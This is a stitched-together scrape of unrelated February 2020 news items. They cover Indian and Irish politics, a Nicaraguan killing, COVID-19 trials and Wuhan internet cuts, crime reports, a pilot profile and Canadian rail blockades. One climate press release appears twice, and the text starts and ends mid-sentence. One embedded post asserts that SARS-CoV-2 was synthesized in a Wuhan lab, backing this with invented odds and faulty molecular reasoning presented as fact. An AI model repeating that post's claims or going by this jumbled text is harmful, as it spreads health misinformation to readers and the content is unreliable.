eyeballs is the huge crowds Kanhaiya Kumar is attracting. But as of now, minus some unforeseen gathbandhan, its more like the rapture of a folk performance, a cathartic exercise of dissent. The CPI has no cadre on the ground to translate the crowds into votes. No wonder Nitish has not tried to curb his rallies, much to the annoyance of his coalition partner.The other new oppositional pole, Prashant Kishor, is a stark contrast to Kanhaiyaa back-room strategist rather than an activist. He was indeed given an office-bearing title in the JD(U) by Nitish, till he was thrown out. Kishor has taken a vow to create a buzz in every panchayat in Bihar against his former mentor Nitish, who he claims is a spent force and Bihar needs a new leader.Who? No one knows. Patna, therefore, is abuzz with speculation about who hes working for, reading deep meaning into Nitishs jibe that he had accommodated Kishor on the bidding of Shah. So, with a tangible opposition narrative yet to be woven, people are convinced the JD(U) and BJP are fighting each other through their proxies, to restrict the number of seats each can bring to the table. As in, they are jockeying for future dominance in what they presume to be a victorious coalition. A win, despite anti-incumbency, upper-caste angst, an angry liquor mafia, and at least four districts getting restive against Nitish for his support to CAA-NPR. The ruling partners are expected to fight 110 each of 243, leaving the rest to Ram Vilas Paswans LJP, when the bugle blows later this year, around September-October. Talking about proxies, no one can better the Congress. It left the fight in Delhiwhich it ruled for 15 years, where Sheila Dikshit at one time almost appeared prime ministerialto Arvind Kejriwals AAP. (Which other party would make a PC Chacko incharge of Delhi!) The Congress is too slothful and radarless to even devise a plan that does not look like its gifting its vote bank to another party. In contrast, the BJP fought a losing battle tooth-and-nail, quite literally, and retained its traditional vote bank. One can only feel sorry for the younger leaders of the GOP who still have a few decades of politics left in them, now staring at a bleak, leaderless future, taking potshots at each other and vested CWC leaders who cant win them elections but would set the agenda.It has similarly handed over Maharashtra to a regional party that will grow at its expense. It has no recognisable face for a PCC chief, in Mumbai or outside. Milind Deora can fight Twitter wars with Ajay Maken, but cant work the streets and slums of Mumbai like his affable father Murli Deora could do. Nor get his well-heeled friends from the Fort area to vote for him! And so, for the next round of elections, Bihar and West Bengal, the Congress is barely there. Whether Priyanka Gandhi makes it to the Rajya Sabha or not will make no difference in UP eitherthey may be better off paradropping her, like her brother, in the deep south. Say, Tamil Nadu. As for the sulking and defeated-looking Rahul Gandhi, he doesnt even have time to relish a litti chokha lunch! Santwana Bhattacharya Resident Editor, Karnataka Email: santwana@newindianexpress.com The announcement did not say whether Benny Gantz is a suspect. But it came less than two weeks before the March 2 election and during a campaign in which Gantzs Blue and White party has painted itself as a scandal-free alternative to Netanyahu, who is to go on trial for graft next month. A three-day international conference on Asia and the Emerging International Trading System has been organised in the city by the ministry of external affairs (MEA) and Pune International Centre (PIC) from February 28 to March 1. The MEA-PIC geo-economic conference will be held under the annual Asia Economic Dialogue series. The theme of the conference centres around the fact that Asia is home to more than half of worlds population and 21 of the worlds largest 30 cities are in Asia. Sessions at the conference include World Trade Organisation (WTO) reforms, greater participation of developing countries (DCs) in international trade, open regionalism on strengthening regional trading blocs, financial innovations from Asia and Africa and Pole-valulting technologies that will lead to sustainable development through daring innovation. S Jaishankar, external affairs minister; Shehan Semasinghe, Sri Lankas state minister of development banking and loan schemes; Vijay Kelkar, PIC vice-president; KM Birla, chairman Aditya Birla Group and Baba Kalyani, chairman and managing director, Bharat Forge are among the speakers on the first day of the event. According to the International Monetary Fund (IMF), by 2030, Asians would have bought as many vehicles as rest of the world combined. As per projections, the Asian economies are set to emerge larger than the rest of the world combined by the end of 2020. This growth needs to be seen in the perspective where as late as 2000, Asia accounted only for a third of worlds output. While the rise of China, and to a smaller degree India, has been well documented, what has been less documented is the rise and growth of other smaller and mid-sized economies such as Indonesia, Vietnam and Bangladesh. Kishore Mahbubani from the Asia Research Institute, National Institute of Singapore and Bibek Debroy, chairman, prime ministers economic advisory council and a number of ministers from the union government will be among the key speakers at this event. Managua, February 21: Nicaraguan opposition party CxL Thursday denounced the killing by gunmen of one of its leaders in the northeast of the country. "Three armed men came to kidnap the leader of Ciudadanos por la Libertad (Citizens for Freedom, CxL) Jose Lopez, 51, and kill him," the party said in a statement. It said Lopez was killed Monday night in the town of Mulukuku, 250 kilometers (150 miles) northeast of Managua. His widow Tomasa Vargas said she suspected the attack was a "political crime." CxL is part of a group of Nicaraguan parties planning to come together in an opposition coalition to be launched next Tuesday ahead of the 2021 general elections. The ruling Sandinista party has not ruled out the possibility of President Daniel Ortega standing for a fourth consecutive term. Critics accuse Ortega, a former rebel hero who has been in power since 2007, of running a repressive dictatorship. A crackdown on anti-government protests in 2018 left more than 300 people dead, according to rights groups. (The above story first appeared on LatestLY on Feb 21, 2020 12:43 PM IST. For more news and updates on politics, world, sports, entertainment and lifestyle, log on to our website latestly.com). Former Secretary of State Karen Bradley (right) on the site of the Strule Shared Education Campus with John Smith of the SSEC Programme and Jennifer Morgan, Strule construction director, in June 2018 The opening of Northern Ireland's largest shared education campus is facing further delays as costs soar to 215m - 55m above the original estimate. Strule Campus, set on the 140-acre former Lisanelly military base in Omagh, Co Tyrone, was originally scheduled to open this year at a cost of 160m. However, it now looks like it will be at least another four years before all 4,000 pupils will be relocated. While the then Secretary of State Karen Bradley said in 2018 that the UK Government would provide 140m of the cost of the project, it is unclear where the funding for the additional costs will come from. One school - Arvalee School and Resource Centre - is already on site. However, students and staff at Loreto Grammar, Omagh High, Sacred Heart College, Omagh Academy and Christian Brothers Grammar, are still waiting on a moving date. SDLP West Tyrone MLA Daniel McCrossan, a member of the Stormont Education Committee, said the project's soaring cost was "concerning". "It is disappointing that work has not yet begun on completing the Strule Campus and that we've witnessed delay after delay along the process," he said. "The scheme has now been pushed back to 2024, and I've seen little done in the three years of no Stormont. "These delays have bound to have escalated the cost of the project with 45m already spent and only one school moved in. It's therefore concerning that the budget has continued to rise yet the project hasn't even got off the ground. "The people of Omagh, teachers, parents and the public alike, have been let down. Schools have bought into this scheme, promised state-of-the-art facilities. But these promises have now fallen foul due to political ineptitude. "I will continue to push the minister and his department to prioritise this project and make it a top priority. This scheme needs to be delivered and it's about time Omagh town got some investment after decades of neglect." The additional costs, which had not been budgeted for in the original business plan, means a revised plan will need to come before Education Minister Peter Weir. Sinn Fein MP for West Tyrone Orfhlaith Begley said that while Mr Weir reassured her the Strule Campus is among his priorities, she is also frustrated by the lack of movement. She said "The continued delays are extremely frustrating and there is an onus on the department to maintain the current school sites so that they do not fall into a state of disrepair. "Unfortunately, due to delays forced by procurement issues, projected costs of the entire project are now estimated at 215m, which has required an addendum to the business case. "However, the minister says he is confident he will be in a position to sign off on this within a few weeks and is hopeful construction work will begin next year with a final completion target for 2024. "Given the anticipated completion date has been delayed, there is an onus on the council and the Executive to take this into consideration for the future planning for Omagh town centre." Ms Begley said her party will continue to press the minister to make sure the project will not face further delays beyond 2024. She continued: "The delivery of this groundbreaking project will see the schools having state-of-the-art facilities while also enabling pupils to benefit from the opportunities provided through enhanced collaboration and sharing. "The Strule Shared Education Campus will bring social, economic and most importantly educational benefits for our young people." The Department of Education was asked from where the additional costs of 55m arose and if the 140m UK Government contribution was secure, but no one was available for comment. Twitter is testing adding brightly coloured labels underneath tweets posted by politicians and public figures that contain lies and misinformation. The company told Reuters on Thursday that a leaked demo version was one possible iteration of a new approach to combat misinformation. NBC News earlier reported that Twitter company documents showing a mockup were accessible on a publicly available site, although it did not identify the site. Disinformation or misleading information posted by public figures would be corrected directly beneath the tweet by fact-checkers and journalists verified on the platform, and possibly other users who would participate in a new community reports feature similar to Wikipedia, the NBC report said. The mockup showed "bright red and orange badges for tweets that habe been deemed 'harmfully misleading'" that were almost as big as the offending tweets themselves, according to the report. Linda Cioffi was 7 years old when her father took her, her younger sister and her mother on a helicopter ride. She can't remember the exact city (Maybe New York? Toronto?) and she can't remember exactly how long the flight was (Five or 10 minutes). But the flight itself stuck with her. She wanted to be a pilot. The goal persisted through her 30s, when she set herself an ultimatum: By the time she turned 40, she'd at least be taking flying lessons. She happened upon a copy of "Your Pilot License" by Joe Christy at a Barnes & Noble on her 39th birthday. Soon after, during a meeting at her then-job at the state Department of Transportation, she spotted a woman wearing airplane earrings. "Oh yeah, I'm a pilot," the woman, Harriet Bregman, told Cioffi. Cioffi now has private and commercial pilot licenses, and instructs others how to fly. Nationwide, women make up about 7 percent of certified pilots. Cioffi, Bregman and other female pilots find ways of connecting, including through organizations like the Ninety Nines, a national group with a Capital Region chapter dedicated to women in aviation. Cioffi keeps her 1967 Cessna in a hangar at the Albany International Airport. Walking around the hangar, one gets the idea that Cioffi lives and breathes flying. She displays license plates from the various places she's flown; there's a small hammock when she's just chilling with her plane. The plane, unlike most boats, is a "him," and his name is Stud. They "got married" in July 2002, six years after she first officially became a licensed pilot. In 2003, she earned her instructor license and started teaching others to fly. Flying is an activity she tries to incorporate in her life as often as she can. Friends notice when she hasn't flown in a few days. "To me, it's my zen, it's my yoga, it's my tai chi. It's where I relax," she said. "You have to be in the moment. You have to think about what you're doing. You can only think about the next five minutes, or the next 10 minutes. That's as far as you go. You can't bring stress and worry with you." But the enormity of flying a plane, and the responsibility that comes with it, is not lost on her. In a car accident, she said one could always blame the other person. But if you get in an accident in a plane, you can only blame yourself. Even with a mechanical issue, Cioffi said a pilot should always be checking on their equipment to see what a mechanic has or has not done to make the plane flight-ready. And training someone else to fly can have a domino effect. "(Getting instructor training) was the hardest. You're responsible not only for another person, but for how that other person learns to fly." She takes on only a handful of flight students a year, to ensure individualized attention. In addition to teaching people how to operate a plane, Cioffi speaks to crowds and schools about what she does. She's prepared presentations about her flights to Alaska, Australia and Cuba. (She was officially recorded as the first female pilot to land in Cuba after the travel embargo was lifted in 2013.) But showing students where she's flown or how a plane works, that's what excites her. "I was hooked when I was their age," she said. "I've had kids tell me they want to be a pilot. But what I want to show them is you don't need to be a pilot to be involved in flight. You can be an engineer. You want to be a doctor? Think of where you can go if you could fly." Female pilots make up about 7 percent of all certificated pilots. Just 10 years ago the number was closer to 6.2 percent. Aircraft Owners and Pilots Association A shooting in an apartment complex for senior citizens left two people dead and a further three injured. The shots were fired at the Portstewart Apartments in Caldwell, Idaho, on Thursday afternoon, police said. Responding officers found multiple victims at the scene, with a policeman among the injured and the suspect among those who was killed. A shooting in an apartment complex for senior citizens left at least two people dead and a further three injured Police said there was no ongoing threat to the public, but residents of the complex have not yet been able to return to their homes. The officer's injuries were not believed to be life-threatening. It was not immediately clear if the people injured and killed in the shooting lived at the complex. 'We are still early in the investigation, and information is still very preliminary,' Caldwell Police Department Lieutenant Joey Hoadley said. Canyon County Sheriff Kieran Donahue said: 'It's a stable situation right now. The shots were fired at the Portstewart Apartments (pictured) in Caldwell, Idaho, on Thursday afternoon, police said 'The tragedy along with it, there's a lot to digest for the public and for us, as well. So this will take some time to work through everything.' Witnesses said they saw multiple police officers swarming the area at about 4:30 pm, according to KTVB. Caldwell is part of the Boise metropolitan area in Idaho and has a population of around 54,000. Source: Xinhua| 2020-02-21 11:37:59|Editor: huaxia Video Player Close The World Health Organization (WHO) Director-General Tedros Adhanom Ghebreyesus (L) attends a daily briefing in Geneva, Switzerland, Feb. 20, 2020. WHO said Thursday that preliminary results from clinical trials of therapeutics against COVID-19 are expected in three weeks. (Xinhua/Chen Junxia) GENEVA, Feb. 21 (Xinhua) -- The World Health Organization (WHO) said Thursday that preliminary results from clinical trials of therapeutics against COVID-19 are expected in three weeks. "We're also looking forward to results from two clinical trials of therapeutics prioritized by the WHO R&D Blueprint," WHO Director-General Tedros Adhanom Ghebreyesus said at a daily briefing. One of the trials he referred to is the combination of two drugs for HIV, lopinavir and ritonavir, while the other is testing an antiviral called remdesivir. "We expect preliminary results in three weeks," he added. Remdesivir is a drug developed by U.S. pharmaceutical company Gilead Sciences. It has shown good antiviral activity against SARS and MERS coronavirus in previous cell and animal experiments. It has also shown fairly good antiviral activity against the COVID-19 at the cellular level. A randomized, double-blind, placebo-controlled clinical trial of remdesivir started on Feb. 6 in several hospitals in the central Chinese city of Wuhan, and the trial will last until the end of April. A study published in 2004 showed the anti-HIV drug combination of Lopinavir and Ritonavir has "substantial clinical benefit" when given to patients who had SARS. The Wuhan Jinyintan Hospital, where the first 41 known patients were treated, has already launched a randomized, controlled trial of the anti-HIV drug combination, according to a report by Chinese researchers in the Lancet medical journal late last month. The third version of COVID-19 treatment guidelines published by China's National Health Commission suggested that taking two Lopinavir/Ritonavir pills and inhaling a dose of nebulized alpha-interferon twice a day could benefit patients. A man is cycling in the empty street at Optical Valley in Wuhan, China on Feb. 16, 2020. (Getty Images) Chinese Authorities in Coronavirus Epicenter Have Begun Partially Shutting Down the Internet The internet connection in my home was cut off for several days. I kept on calling the mayors hotline, but nobody is taking care of us, said a resident of Wuhan City, Hubei Province, where the coronavirus (COVID-19 virus) outbreak began. Since Feb. 11, more and more Wuhan residents reported that their home internet connections were down. Wuhan authorities have issued strict quarantine measures to contain the outbreak, including allowing only one person per household to leave their homes. The Chinese-language Epoch Times (CET) spoke with several Wuhan residents and found that some neighborhoods, where there are large numbers of reported COVID-19 virus infections, have had their internet cut off. Commentators believed that the authorities are using this method to restrict netizens ability to talk freely about the situation on the ground. Since the outbreak in early December 2019, about 70 percent of the officially reported cases of infection are in Wuhan. No Internet Connection Several interviewees told the CET that their residential areas began broadcasting messages via loudspeakers installed on lampposts that their internet connections would be cut off soon, starting from the evening of Feb. 10. A Wuhan resident who lives on Jiangdi Zhong Rd. in Jianghan district posted on social media that his home internet connection was cut off on the afternoon of Feb. 11. He checked with other neighbors who lived nearby and confirmed that their home internet connections were also cut off. Where I am, its close to the makeshift hospital at the Wuhan International Expo Center. It looks like everyone in our community lost their internet connection, the resident complained. A Wuhan resident who lives in Jiangan district told the CET on Feb. 19 that his internet connection has not been restored. He has resorted to using his cell phone to surf the internet. Zeng Jieming, a U.S.based Chinese activist, told the Chinese-language Epoch Times on Feb. 19: I have two friends who live in Wuhan. One lives in Caidian district, and the other lives in Jiangxia district. Both of them said their internet connections were down They were told [by the communist regime] that there were too many rumors online, which [the regime claimed] severely interfered with the outbreak relief efforts. According to Zengs friends, the outbreak in Caidian and Jiangxia districts is severe. Local authorities are afraid that people will expose the truth about the outbreak to the outside world by posting videos online, they said. Purpose Gu He is an observer of internet censorship in China. He told the Chinese-language Epoch Times that such tactics are par for the course for the Chinese regime. As early as 2009, the Chinese government cut off the internet in the whole Xinjiang region, [and confined it] to a local area network for 312 days, Gu said. It uses this method to control peoples speech. The internet blackout in Xinjiang, home to 25 million peoplemany of whom are Uyghur Muslim minoritieswas reported by several human rights groups and media at the time. Chinese authorities acted in July 2009 after a series of violent riots took place in Xinjiangs capital city Urumqi. The internet was restored in May 2010. Since Wuhan was locked down on Jan. 23, netizens have begun making social media posts exposing the actual situation on the ground. They are exposing the different symptoms the COVID-19 virus causes. They are showing poor medical conditions in local hospitals, highlighting skyrocketing food prices, showing dead bodies being collected from peoples homes. There are videos of police forcibly sending people to quarantine centers and exposing the poor conditions at those quarantine centers, including lack of food, water, and medical treatment; and people hopeless about their possibility of recovering from the illness attempting to end their lives. Internet censors have since begun cracking down on such posts, even deploying a troll army to write positive posts about the authorities outbreak-fighting efforts. Following the expanded meeting of President of Azerbaijan Ilham Aliyev and President of the Council of Ministers of the Italian Republic Giuseppe Conte, a ceremony to exchange the Azerbaijan-Italy documents has been held. --- Follow us on Twitter @AzerNewsAz ALBANY, N.Y. A group of Asian-American students attending the University at Albany are demanding the school open an investigation into a coronavirus-themed party hosted by students last weekend. Video of the off-campus party was first posted on the Barstool Albany Instagram account Sunday night, prompting the university's Asian American Alliance to release a statement condemning the event and demanding an official apology. On Thursday afternoon, the college confirmed the off-campus party and said it would investigate. The college said the event was not sanctioned by the university. "The theme of this party was distasteful and hurtful and is not representative of UAlbany or its nearly 18,000 students," the college said in a statement. The video, which has since been deleted, showed a bucket full of Corona beers and a person wearing a surgical mask. A caption attached to the video read, "Corona virus isn't gonna stop anyone from partying," according to WGY News Radio in Albany. A view of the University at Albany's downtown campus. A coronavirus themed party held off campus has some students calling on the university to open an investigation into the matter. Nearby in the video was a white sheet marked with a biohazard symbol and two faces. One face had Xs for eyes, while the second was frowning and had straight lines for eyes, the station reported. The college said Thursday that "any allegations of conduct violations will be investigated and addressed through the Universitys disciplinary process. Barstool Albany has no affiliation with the university, but the Asian American Alliance said the party's theme was "completely insensitive." "The real life affects (sic) of this virus has led to not only mass stereotyping of Asian people, but also hundreds of deaths across the world," the organization said in a statement via its Instagram page Monday. Novel coronavirus now referred to by the World Health Organization as COVID-19 has infected more than 75,000 people worldwide and has resulted in over 2,300 deaths, mostly in China. "Diseases that affect non-white populations are radicalized in a way that stems from the innate xenophobia of American society," the Asian American Alliance said in its statement. Story continues The organization which is made up the Chinese, Japanese and Korean student associations; Albany State Indian Alliance; and Liga Filipina called for an investigation into the incident and urged the university to "protect Asian student's and scholars' physical health and mental health." Shorty after the USA TODAY Network New York reached out the the university Thursday for comment, a campus-wide email was sent out to students condemning the party. "As a diverse community with students, faculty and staff from all over the world, it is important that we treat everyone with dignity and respect," Clarence McNeill, the university's dean of students, said in the email. "We should strive to listen, support and advocate for communities hardest hit by the coronavirus." Follow Chad Arnold on Twitter: @ChadGArnold This article originally appeared on New York State Team: Coronavirus-themed party at University of Albany sparks investigation Eastham, Massachusetts: Notorious crime boss James "Whitey" Bulger terrorised Boston from the 1970s into the 1990s with a campaign of murder, extortion and drug trafficking, then spent 16 years on the lam after he was tipped off about his pending arrest. In 2013, Janet Uhlar was one of 12 jurors who found Bulger guilty in a massive racketeering case, including involvement in 11 murders. But now Uhlar says she regrets voting to convict Bulger on any of the murder charges. A young James 'Whitey' Bulger. Her regret stems from a cache of more than 70 letters Bulger wrote to her from prison, some of which describe his unwitting participation in a secret CIA experiment with LSD. In a desperate search for a mind-control drug in the 1950s, the agency dosed Bulger with the powerful hallucinogen more than 50 times when he was serving his first stretch in prison, in Atlanta something never brought up in his federal trial. BRIDGEPORT A city man pleaded guilty in federal court Thursday to enticing a minor to engage in illegal sexual activity, according to federal officials. Jose Manuel Santos, 37, of Bridgeport, was a bus driver who transported children to and from a middle school in Wallingford, according to a news release from the office of U.S. Attorney for Connecticut John Durham. In October 2018, law enforcement got information that Santos was sexually soliciting a 13-year-old girl, who was a passenger on his route, authorities said. The arrest affidavit filed by lead investigator Brendan P. Lundt, a Homeland Security Investigations special agent, released the day of Santos 2018 arrest said Santos and the victim exchanged text messages between Oct. 25 to Oct. 29, 2018. On Oct. 29, 2018, the victim told school officials about the text messages with Santos, the affidavit said. Investigators found more than 200 text messages or calls between Santos and the victim, a sexually explicit photo of Santos that Santos sent to the minor victim, and multiple messages in which Santos coerced the victim to send him a sexually explicit photo of her when they analyzed the victims phone, Thursdays news release said. Santos was arrested on Nov. 2, 2018. He has been detained since his arrest. The affidavit said Santos was a driver for Curtin Livery, a company that provides statewide transportation, including student, disabled and limo/town car transportation. The affidavit said when the company found out about the allegations, Santos was immediately suspended. After his arrest, the news release said, Santos communicated with others in an attempt to prevent the minor victim from testifying against him. Santos was scheduled to be sentenced on May 21. At that time, Santos faces a mandatory minimum term of 10 years in prison and a maximum term of life in prison. Child exploitation cases can be reported through www.cybertipline.com. The Garda Commissioner is to investigate claims that Corks specialist sex crimes unit is no longer functioning. The Irish Examiner understands that the Divisional Protective Services Unit has not been operational since late 2018 and is not taking on new cases. Instead, the paper has been told by numerous sources that other detective units are having to take on an extra workload as a result. And, sources claim, this has led to a drain on resources. Indeed, there are claims that Cork is down 24 detectives and needs at least 100 front line staff to bring it up to competent operational levels. Commissioner Harris responded: I am aware Cork has had a heavy workload over the last year in respect of some very serious criminality. That has put pressure on detective resources. At the same time, they've made good progress with investigations they have conducted. He insisted that garda management are committed to protect the Protective Services Unit. And he said more Divisional Protective Services Unit detectives will be rolled out by the end of next month. He added: We continue to progress. We have the highest number of detectives that we've ever had in the organisation and that reflects on the demands that we are placed on us. There is high demand everywhere. He was asked again whether or not the Divisional Protective Services Unit is operational. My understanding is that it is but I can double-check that for you, he said. He was speaking at the Passing Out Ceremony at the Garda Training College in Templemore. The newly attested gardai will see the number of gardai increase to 14,467. This is the largest number of sworn gardai in 10 years. Of the probationers allocated to different regions, 92 are going to the Dublin Regions, 17 are going to Cork, and 14 are going to Meath. Addressing the probationers, Commissioner Harris warned them that gardai are about to launch a major new war on drugs. He said it is necessary because of the spread of drugs and drug-dealing throughout the country: So-called street level drug dealing is become more prevalent and is no longer confined to city and urban areas. This drug dealing is corrosive. It is corrosive to those who take the drugs and corrosive to the communities where it takes place. (It is also) corrosive to the families and individuals facing intimidation and violence as a result of their loved one's involvement in the drug trade. He said a key priority for An Garda Siochana in 2020 is tackling drug dealing. And he told them: In the coming months, we will be introducing a major operation and every one of you will have a part to play in it. However, he also told them in remarks aimed directly at people who take drugs at whatever level that gardai need societys help: This is a societal issue requiring a societal response. Those who think their use of so-called casual drugs has no real harmful effect need to think again. There is no such thing as consequence-free drug taking. It is not an abstract issue that can be forgotten about the next morning or excused. Every cent they spend on drugs helps to solidify the power of crime gangs who terrorize families and communities." Every cent they spend on drugs supports gangs involved in the most terrible of exploitation and violation of the human rights of our fellow human beings through human trafficking, sexual slavery, and child abuse. New studies explore how knowledge drives action in climate change decision-making MIAMI--In several new studies, University of Miami (UM) Rosenstiel School of Marine and Atmospheric Science researcher Katharine Mach and colleagues explore the importance of learning and knowledge in environmental decision-making and the different ways in which scientific knowledge can become more relevant and useful for societies. "Keeping people safe as the climate continues to change is a big challenge," said Mach, an associate professor of marine ecosystems and society at the UM Rosenstiel School. "Because climate change is long-term with widespread impacts, knowledge of the risks is particularly important for prudent societal investments." In an article for the journal Climate Policy, Mach and coauthor Noah W. Feinstein, an associate professor at University of Wisconsin-Madison, describe the importance of education in adapting to climate change. Their paper, "Three roles for education in climate change adaptation," argues that educational tools--including schools, simulations, and on-the-job training--have the potential to substantially accelerate the adaptation process. "Education goes way beyond K-12," said Feinstein. "If we want decision-makers to make the best use of critical new information, we also need to support learning before, during, and after each decision point." In a special issue of the journal Current Opinion in Environmental Sustainability, Mach and colleagues delve deeper into the question of what knowledge is most critical--and how it becomes useful to people increasing their preparedness for climate change. They discuss insights emerging across disciplines on the relationship between knowledge and action in decision-making surrounding climate change. The researchers suggest a set of best practices to support climate change adaptation into the future. In the article, "Actionable knowledge and the art of engagement," Mach discusses the different approaches for making knowledge actionable, many of which involve increasing interactions between researchers and stakeholders in different ways. "Current knowledge on climate change risks and response options has an important role to play in informing society's choices and decisions in a changing climate," said Mach. "However, often this knowledge is not as useful for people as it might be." In the same special issue, Mach co-authored a paper on how the "co-production" of knowledge has fared for climate change adaptation. The researchers point out that the co-production of knowledge, in which researchers, practitioners, stakeholders, and decision-makers interact in processes of climate change adaptation, requires that different approaches be matched to the types of decisions and decision-making contexts at hand. It's about researchers and practitioners working together in ongoing and meaningful ways. ### The special issue will be published in the near future. Articles covered in this press release are available on line. Research was supported by the National Science Foundation (grant # DBI-1639145), to convene the Science of Actionable Knowledge working group through the National Socio-Environmental Synthesis Center. About the University of Miami's Rosenstiel School The University of Miami is one of the largest private research institutions in the southeastern United States. The University's mission is to provide quality education, attract and retain outstanding students, support the faculty and their research, and build an endowment for University initiatives. Founded in the 1940's, the Rosenstiel School of Marine & Atmospheric Science has grown into one of the world's premier marine and atmospheric research institutions. Offering dynamic interdisciplinary academics, the Rosenstiel School is dedicated to helping communities to better understand the planet, participating in the establishment of environmental policies, and aiding in the improvement of society and quality of life. For more information, visit: http://www. rsmas. miami. edu and Twitter @UMiamiRSMAS This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. The SARS-CoV-2 coronavirus which is spreading around the world and killed thousands of people so far, is not a natural virus. It is highly suspected to be a synthesized virus made in the Wuhan Vorology Institute, and leaked out. The SARS-CoV-2 virus has a NCBI accession number MN908947: https://www.ncbi.nlm.nih.gov/nuccore/MN908947 The closest virus found so far is BaTG13, with accession number MN996532: https://www.ncbi.nlm.nih.gov/nuccore/MN996532 BaTg13 was allegedly subtracted from Yunan Bat feces collected on July 24, 2013 and the gene sequence was only submitted on Jan. 27, 2020, after allegations of man-made virus were raised. The timing of data submission, as well as the data's authenticity is questioned. Coronaviruses cannot survive in a fece sample for 7 years. If they sequenced the virus gene in 2013 why they did not submit till now? The S proteins between two viruses compared shows a highly concentrated mutation which could not occur naturally, as natural mutations occur at random. Note the "PRRA" insertion at position 681-684. Scientists could not find it in any natural corunaviruses. Researchers from Nankai University believe this is an (artificial) Furin cleavage site which increases infection efficiency by 100 to 1000 folds: https://www.researchgate.net/profile/Shan_Gao13/publication/338804501_A_furin_cleavage_site_was_discovered_in_the_S_protein_of_the_Wuhan_2019_novel_coronavirus Besides the "PRRA" insertion, there are 29 mutations, 18 of them concentrated within the region 439-519, known as ACE2 RBD bounding region, critically important in how the virus bounds to human cells and penetrate them. It just so happens that the 18 mutations in this region all help to boost the virus's ability to penetrate human cells, making it a super-contageous virus. Since natural mutation tend to occur randomly at random positions, there is less than one out of a quadrillion (1/1000000000000000) chance that such highly centrated mutations can occur natually, which strongly suggest that the "mutations" are likely gene editing in labs, for the purpose of creating a highly infectious virus. Another surprise fact that strongly suggests synthecized virus, is the fact that on the right side to the ACE RBD region, there is a long stretch of protein sequence in which except for the "PRRA" insertion, the sequence is exactly identical. However if you look at the original RNA sequence, these section is not identical at all. There is only a 94% similarity between the two. In the natural world, protein sequence is always translated from the RNA sequence in a deterministic way. When the RNA sequence mutates, it likely results in different protein sequence as well. It is highly unlikely that a mutated RNA sequence still translates into exactly the same protein sequence, by random chance. However in a bio lab, people routinely inverse translate a protein sequence into a RNA sequence, a process that never occurs in the natural world. In doing so, the translation from the same protein sequence could result in a different looking RNA sequence, as the mapping from protein amino acid to RNA is not one-to-one. One of the biggest question people should ask is why Wuhan Virology Institute remain silent so far amid all the allegations. They should known all the viruses in their hands and can confidently rule out accidental lab leakage, if they know none of their viruses match the circulating SARS-CoV-2, and they shoud be able to make a public announcement of such a fact, if it is a fact. Their silence probably implies that they knew they had a synthecized virus that looks exactly like that! In a desperate effort to find a natural source of the virus and exonerate themselves, the Chinese researchers announced that they think the virus was carried from bats to pangolins before jumping to human beings. The alleged evidence is that the protein sequence from corona virus from dead pangolins matches almost perfectly to the new coronavirus in the ACE2 RBD region, except for just one mutation. However the pangolin story could not stand scrutinies. They do not have the full gene sequence of the pangolin coronavirus. They only have meta gene data, i.e., bits and pieces of the virus gene. They then try to "assemble" a protein sequence, using the new coronavirus as a template. It's like when you have a full baskets of 26 English letters, you could use them to assemble a Shakespear master piece. The pangolin story falls apart when you look at the RNA sequence instead. Out of 591 nucleid acid 81 does not match. The similarity of the ACE2 RBD section is thus only 86%. Thus the similarity is too low for the ACE2 RBD mutations to have come from a pangolin. The pangolin story does not make sense also because due to high market price of pangolin meat and scale, the smuggling of the animal is rampant. There is a whole industry of people engaged in catching pangolins from Malaysia, smuggle them into China, distribute them, slaughter them and sell the meat to customers all over China. Some how none of these people engaged in the pangolin smuggling chain caught the virus, an only an end customer who bought the pangolin meat and cooked it (thus killed the virus by heat) some how got sick? And only a customer in Wuhan got sick from the animal, not someone from Guangdong or else where in China? It makes no sense. In several new studies, University of Miami (UM) Rosenstiel School of Marine and Atmospheric Science researcher Katharine Mach and colleagues explore the importance of learning and knowledge in environmental decision-making and the different ways in which scientific knowledge can become more relevant and useful for societies. "Keeping people safe as the climate continues to change is a big challenge," said Mach, an associate professor of marine ecosystems and society at the UM Rosenstiel School. "Because climate change is long-term with widespread impacts, knowledge of the risks is particularly important for prudent societal investments." In an article for the journal Climate Policy, Mach and coauthor Noah W. Feinstein, an associate professor at University of Wisconsin-Madison, describe the importance of education in adapting to climate change. Their paper, "Three roles for education in climate change adaptation," argues that educational tools -- including schools, simulations, and on-the-job training -- have the potential to substantially accelerate the adaptation process. "Education goes way beyond K-12," said Feinstein. "If we want decision-makers to make the best use of critical new information, we also need to support learning before, during, and after each decision point." In a special issue of the journal Current Opinion in Environmental Sustainability, Mach and colleagues delve deeper into the question of what knowledge is most critical -- and how it becomes useful to people increasing their preparedness for climate change. They discuss insights emerging across disciplines on the relationship between knowledge and action in decision-making surrounding climate change. The researchers suggest a set of best practices to support climate change adaptation into the future. In the article, "Actionable knowledge and the art of engagement," Mach discusses the different approaches for making knowledge actionable, many of which involve increasing interactions between researchers and stakeholders in different ways. "Current knowledge on climate change risks and response options has an important role to play in informing society's choices and decisions in a changing climate," said Mach. "However, often this knowledge is not as useful for people as it might be." In the same special issue, Mach co-authored a paper on how the "co-production" of knowledge has fared for climate change adaptation. The researchers point out that the co-production of knowledge, in which researchers, practitioners, stakeholders, and decision-makers interact in processes of climate change adaptation, requires that different approaches be matched to the types of decisions and decision-making contexts at hand. It's about researchers and practitioners working together in ongoing and meaningful ways. The Welsh Society of the Costa del Sol is preparing to celebrate the feast of Saint David with a fundraising event at CJs Bar in Benalmadena on 1 March. As usual, the Saint Davids Day party, which will begin at 2pm, will include live performances by some of the coasts top artists, along with childrens activities and traditional Welsh cuisine. Among the line-up of musicians already booked to appear are The Jersey Boys, Banana Studios, Siobahn, Lenny Dee, Laura Ellen and Beverly Fox. CJs owner Cath Johns, also renowned for her incredible vocal talent, will make a special appearance with Mama Cath and the Soul Sisters, who will entertain with a tribute to soul and Motown. The Welsh Society uses the event to raise money for local causes and this year they have chosen to support Della Hall, a mother of two who has suffered with motor neurone disease for more than three years. OTTAWAThe stage was set late Friday for a dramatic clash when Wetsuweten leaders and their Mohawk sympathizers refused an impassioned demand by Prime Minister Justin Trudeau to take down barricades blocking rail traffic and damaging the Canadian economy. Under increasing pressure from Quebec Premier Francois Legault who warned Quebec had only a two-day propane supply left and was losing a $100-million a day, Trudeau had signalled his patience had run low and, according to Legault, promised progress within hours. Trudeau met senior cabinet ministers Friday morning then went before cameras to say his governments efforts to negotiate a breakthrough in the crisis brought on by nationwide demonstrations in support of Wetsuweten chiefs opposing the Coastal GasLink pipeline in 